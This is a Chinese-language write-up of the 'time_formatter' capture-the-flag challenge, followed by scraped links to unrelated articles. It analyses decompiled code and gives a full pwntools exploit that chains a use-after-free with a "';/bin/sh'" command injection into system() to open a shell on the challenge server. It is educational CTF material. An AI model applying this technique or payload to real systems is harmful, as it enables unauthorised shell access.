攻防世界time_formatter writeup

UAF漏洞和命令注入。

前置知识

1、strdup函数

char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}

strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。

2、snprintf函数

snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])

str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。

3、getenv函数和setenv函数

getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。

getenv函数原型:char * getenv(const char *name)

setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)

name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。

程序分析

主调函数如下所示:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( str2int() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}

set_time_format函数如下所示:

__int64 sub_400E00()
{
char *v0; // rbx v0 = add();
if ( (unsigned int)check_time_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
delete(v0);
}
return 0LL;
}
char *add()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h] v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return sub_400C26(s, (__int64)"\n", v0, v1);
}

set_time_zone函数如下所示:

__int64 sub_400E43()
{
value = add();
puts("Time zone set.");
return 0LL;
}

exit_time函数如下所示:

signed __int64 __noreturn exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u);
delete(ptr);
delete(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

print_time函数如下所示:

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h] v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s\n", (__int64)&command);
setenv("TZ", value, 1); // setenv函数这里添加环境变量
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。

EXP

from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
io=process('./time_formatter')
else:
io=remote('220.249.52.133',49902) elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system'] def launch_gdb():
context.terminal=['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(io)[0]) def set_time_format(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time_format_err(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content) def set_time(Unix_time):
io.recvuntil('> ')
io.sendline(str(2))
io.recvuntil('Enter your unix time: ')
io.sendline(str(Unix_time)) def set_time_zone(zone):
io.recvuntil('> ')
io.sendline(str(3))
io.recvuntil('Time zone: ')
io.sendline(zone) def print_time():
io.recvuntil('> ')
io.send(str(4)) def exit_time():
io.recvuntil('>')
io.sendline(str(5))
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N') #launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()

time_formatter writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. php反序列化-unserialize3

    目录 unserialize3-php反序列化 unserialize3 unserialize3-php反序列化 unserialize3 环境地址:https://adworld.xctf.org ...

  2. 如何优雅地实现浏览器兼容与CSS规则回退

    读完了<Visual Studio Code权威指南>,前端方面书籍不能停,于是捡起「CSS一姐」 Lea Verou 的<CSS魔法>. 我们没法控制用户使用新版本还是老版本 ...

  3. 37.qt quick- 高仿微信实现局域网聊天V3版本(添加登录界面、UDP校验登录、皮肤更换、3D旋转)

    1.版本介绍(已上传至群里) 版本说明: 添加登录界面. UDP校验登录. 皮肤更换. 3D旋转(主界面和登录界面之间切换) . 效果图如下所示: 如果效果图加载失败,可以去哔哩哔哩 https:// ...

  4. cut和grep 选取命令

    cut命令 cut:将一段信息的某一段"切"出来,处理的信息是以行为单位.参数: -d :后接分隔字符,与-f一起使用: -f :依据-d的分隔字符将一段信息切割成为数段,用-f取 ...

  5. Linux常用命令 day day up系列2

    一.alias--设置别名二.du--统计目录及文件空间占用情况三.mkdir--创建新目录四.touch--创建空文件五.ln--创建链接文件1.链接文件类型六.cp--复制文件或目录七.rm--删 ...

  6. 团队开发day02

    进行android的UI界面设计,设计圆角输入框和圆形按钮, 以及点击的水滴效果 遇到问题,新建的drawable布局没有达到预期的效果,圆形按钮的 背景想设置为图片,但是发现会遮盖住水滴效果,改用新 ...

  7. spring-1-spring介绍和IOC容器开发

    一.介绍 1.版本 2.下载(jar包依赖) 下载 所以搜索:https://repo.spring.io/release/org/springframework/spring/ 文件分配 maven ...

  8. debain9显卡

    # Debian 9 "Stretch" deb http://httpredir.debian.org/debian/ stretch main contrib non-free ...

  9. node fs-extra文件操作模块的使用(支持同步、异步)

    用法参见:fs-extra

  10. Deepin V20.1 解决安装Edge浏览器后更新系统报错的方法

    问题描述:有些人在deepin系统上安装完edge浏览器后采用sudo apt update命令更新系统,却报出了错误,更新失败.原因是更新deepin系统的时候,最好把其它的源禁用了,不然会有各样的 ...